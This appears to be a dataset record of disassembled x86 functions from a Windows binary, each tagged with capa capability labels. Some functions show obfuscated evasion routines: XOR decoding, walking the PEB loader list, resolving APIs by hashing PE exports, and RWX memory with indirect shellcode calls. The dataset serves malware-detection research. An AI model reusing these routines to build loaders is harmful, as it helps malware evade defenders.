joyce8/EMBER2024-capa huggingface dataset:
Function at 0x456ad0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ebx
mov eax, dword [ebp + 0xc]
push edx
push eax
push ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x456c66
push edi
mov edi, dword [ebp - 0x10]
cmp edi, ebx
je 0x456c48
push esi
cmp dword [edi + 4], 2
jne 0x456bcc
cmp dword [edi + 0x18], ebx
je 0x456bcc
mov eax, dword [edi + 0x10]
cmp eax, ebx
jbe 0x456bcc
cmp eax, 0x10
jb 0x456bcc
push 0x20
call dword [0x4b9574]
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x456bd9
mov edx, dword [edi]
mov dword [esi], edx
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov ecx, dword [edi + 8]
mov dword [esi + 8], ecx
mov edx, dword [edi + 0xc]
push 0x10
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], 0x10
mov dword [esi + 0x18], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x1c], ebx
call dword [0x4b9574]
add esp, 4
mov dword [esi + 0x18], eax
cmp eax, ebx
je 0x456be2
mov ecx, dword [edi + 0x18]
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0xc], ecx
mov eax, dword [edi + 0x14]
cmp eax, ebx
je 0x456bb7
push eax
call dword [0x4b9580]
add esp, 4
mov dword [esi + 0x14], eax
cmp eax, ebx
je 0x456bf5
cmp dword [ebp - 4], ebx
jne 0x456bbf
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x456bc9
mov dword [eax + 0x1c], esi
mov dword [ebp - 0xc], esi
mov edi, dword [edi + 0x1c]
cmp edi, ebx
jne 0x456b12
jmp 0x456c10
mov dword [ebp - 8], 8
jmp 0x456c10
push esi
mov dword [ebp - 8], 8
call dword [0x4b9578]
add esp, 4
jmp 0x456c10
mov edx, dword [esi + 0x18]
push edx
mov dword [ebp - 8], 8
call dword [0x4b9578]
push esi
call dword [0x4b9578]
add esp, 8
mov eax, dword [ebp - 0x10]
pop esi
cmp eax, ebx
je 0x456c1f
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [ebp - 8], ebx
je 0x456c43
mov eax, dword [ebp - 4]
push eax
call fcn.00456a80
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 8]
add esp, 4
mov ecx, ebx
pop edi
mov dword [ebp - 4], ebx
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 4], ebx
jne 0x456c5a
push 0x2af9
mov dword [ebp - 8], 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 8]
mov dword [edx], ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x458170
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
push ecx
push 0
push 0
call fcn.00478f26
add esp, 0x18
test eax, eax
je 0x458194
cmp eax, 0xffffffff
jne 0x458196
xor eax, eax
pop ebp
ret
Function at 0x45b200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 8]
movsx ecx, al
add ecx, 0xffffff9f
cmp ecx, 0x19
ja case.default.0x45b211
jmp dword [ecx*4 + 0x45b280]
mov al, 0x41
pop ebp
ret
mov al, 0x42
pop ebp
ret
mov al, 0x43
pop ebp
ret
mov al, 0x44
pop ebp
ret
mov al, 0x45
pop ebp
ret
mov al, 0x46
pop ebp
ret
mov al, 0x47
pop ebp
ret
mov al, 0x48
pop ebp
ret
mov al, 0x49
pop ebp
ret
mov al, 0x4a
pop ebp
ret
mov al, 0x4b
pop ebp
ret
mov al, 0x4c
pop ebp
ret
mov al, 0x4d
pop ebp
ret
mov al, 0x4e
pop ebp
ret
mov al, 0x4f
pop ebp
ret
mov al, 0x50
pop ebp
ret
mov al, 0x51
pop ebp
ret
mov al, 0x52
pop ebp
ret
mov al, 0x53
pop ebp
ret
mov al, 0x54
pop ebp
ret
mov al, 0x55
pop ebp
ret
mov al, 0x56
pop ebp
ret
mov al, 0x57
pop ebp
ret
mov al, 0x58
pop ebp
ret
mov al, 0x59
pop ebp
ret
mov al, 0x5a
pop ebp
ret

Function at 0x45b410
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4ba110]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.0047b886
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x45b474
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [ebp - 0x108], 0
je 0x45b474
lea edx, [ebp - 0x108]
push edx
call dword [0x4b9580]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047421a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0047421a
mov esp, ebp
pop ebp
ret

Function at 0x45b490
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.0045b410

Function at 0x45ce30
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 2
jne 0x45ce52
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x45ce46
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x45ce82
cmp dword [esi + 8], 0
jne 0x45ce75
mov ecx, dword [eax + 8]
push 0x49c65c
push ecx
call fcn.0047931f
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x45ce75
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.00479e02
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x45cea4
mov eax, dword [esi + 8]
test eax, eax
je 0x45ce9e
push eax
call fcn.00475ef3
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x45d5c0
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000000
push 1
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x45d5f3
mov ecx, dword [esi]
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x8003
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop esi
pop ebp
ret

Function at 0x45d8f3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4bbf00], 0
push esi
push edi
jne 0x45d869
call fcn.0045d7d5
test eax, eax
je 0x45d8ae
mov eax, dword [0x4bbf00]
cmp eax, 1
jne 0x45d88a
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x45d8ae
jmp 0x45d8f0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x45d8f0
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x45d8b2
xor eax, eax
jmp 0x45d8f0
mov eax, dword [esi]
push dword [0x4bbf00]
call edi
mov edi, eax
test edi, edi
je 0x45d8d4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x45d8f0
lea edi, [esi + 0xff0]
push esi
push dword [0x4bbf00]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x45d8da
mov eax, esi
pop edi
pop esi
ret
jmp 0x45d855

Function at 0x47421a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ba110]
jne 0x474224
repz ret
jmp fcn.0048245b
Function at 0x48ea8b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ba110]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004818ed
and dword [ebp - 0x14], 0
cmp dword [0x4bd540], 0
mov dword [ebp - 0x18], eax
jne 0x48eb3e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x48ebe6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4a64dc
push ebx
call edi
test eax, eax
je 0x48ebe6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4a64cc
push ebx
mov dword [0x4bd540], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4bd544], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4bd548], eax
call edi
push eax
call esi
mov dword [0x4bd550], eax
test eax, eax
je 0x48eb3e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4bd54c], eax
mov eax, dword [0x4bd54c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x48eb97
cmp dword [0x4bd550], ecx
je 0x48eb97
push eax
call esi
push dword [0x4bd550]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x48eb97
test ebx, ebx
je 0x48eb97
call edi
test eax, eax
je 0x48eb8e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x48eb8e
test byte [ebp - 8], 1
jne 0x48eb97
or dword [ebp + 0x10], 0x200000
jmp 0x48ebca
mov eax, dword [0x4bd544]
cmp eax, dword [ebp - 0x18]
je 0x48ebca
push eax
call esi
test eax, eax
je 0x48ebca
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x48ebca
mov eax, dword [0x4bd548]
cmp eax, dword [ebp - 0x18]
je 0x48ebca
push eax
call esi
test eax, eax
je 0x48ebca
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4bd540]
call esi
test eax, eax
je 0x48ebe6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x48ebe8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047421a
leave
ret
Function at 0x4f89133c
Capabilities:
Encode data using xor

Disassembly:
call 0x4f8912b5
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x4f8912e5
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4f891301
xor edx, 0
jmp 0x4f89130c
xor edx, edx
jmp 0x4f891323
jmp 0x4f89132f
xor eax, eax
push 0x8427d7c0
call 0x4f89133c
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x4f891378
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x4f891351
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4f89138f
add eax, 0
jno 0x4f891394
add esi, 0
ret 0x10

Function at 0x4f8920fd
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x4f89211f
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4f8922c1
cmp edi, dword [ebp + 0x10]
jb 0x4f8922c1
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.4f891be9
inc edi
jmp 0x4f8921a8
jmp 0x4f8921b5
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.4f891be9
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.4f891be9
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x4f892209
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x4f8921ed
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.4f892237
add dword [eax], 0x39
jle 0x4f892213
sub al, 0xf5
mov ch, al
call fcn.4f89224c
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x4f893f24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x4f893f3a
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x4f893f4b
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.4f893f8c
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x4f8962f8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x4f896241
add ebx, 0
push ecx
call 0x4f896256
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x732a9311
sub ebx, dword [0x732c8b50]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x732c8b40
call fcn.4f891d20
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.4f89122e
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x4f8963b4
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x4f8963b4
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x4f89636b
mov eax, 1
lock xchg dword [0x732c8b4c], eax
push 0x3dd1fc71
call 0x4f8962f8
push esi
add esp, 8
cmp eax, 0
jne 0x4f8962e1
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x4f896307
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x4f89631c
cmp ecx, edx
cmp eax, 0
je 0x4f896341
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x4f89632b
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.4f89635a
dec eax
loope 0x4f89635d
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x732c8b4c], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x4f896391
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x4f8963a6
jmp 0x4f8963b1
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x4f89629f
Function at 0x4f89d419
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4f89d6ef
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x732b57c4
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x732ac78a
push 0xffffffffffffffff
call fcn.4f894619
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4f89d483
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.4f89d49b
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4f89d6e3
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4f89d6b7
Function at 0x4f8acee9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acf0b
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acf0b
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acf0b
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acf0b
test word [ebx + 0x16], 2
je 0x4f8acf0b
test word [ebx + 0x16], 0x100
je 0x4f8acf0b
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acf0b
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acf0b
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf97
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acf2b
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e76
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acf0b
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4f8acf97
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acf0b
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acf0b
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acf0b
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acf0b
test word [ebx + 0x16], 2
je 0x4f8acf0b
test word [ebx + 0x16], 0x100
je 0x4f8acf0b
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acf0b
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acf0b
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf97
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acf2b
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e76
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acf0b
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x4f8ad04e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4f8ad0a7
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4f8ad04e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4f8ad05d
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x4fcb2d00
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4f8ad0ae
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.4f893f24
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4f8ad14d
add edi, 4
add eax, 2
dec ecx
jne 0x4f8ad093
call 0x4f8ad0fa
loope 0x4f8ad0f0
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4f8ad14a
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4f8ad15b
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4f8ad10e
cmp eax, ecx
ja 0x4f8ad10e
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4f8ad198
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4f8ad18e
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4f894403
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4f8ad05d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4f8ad0a7
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4f8ad04e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4f8ad05d
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x4fcb2d00
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4f8ad0ae
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.4f893f24
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4f8ad14d
add edi, 4
add eax, 2
dec ecx
jne 0x4f8ad093
call 0x4f8ad0fa
loope 0x4f8ad0f0
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4f8ad14a
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4f8ad15b
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4f8ad10e
cmp eax, ecx
ja 0x4f8ad10e
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4f8ad198
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4f8ad18e
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4f894403
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]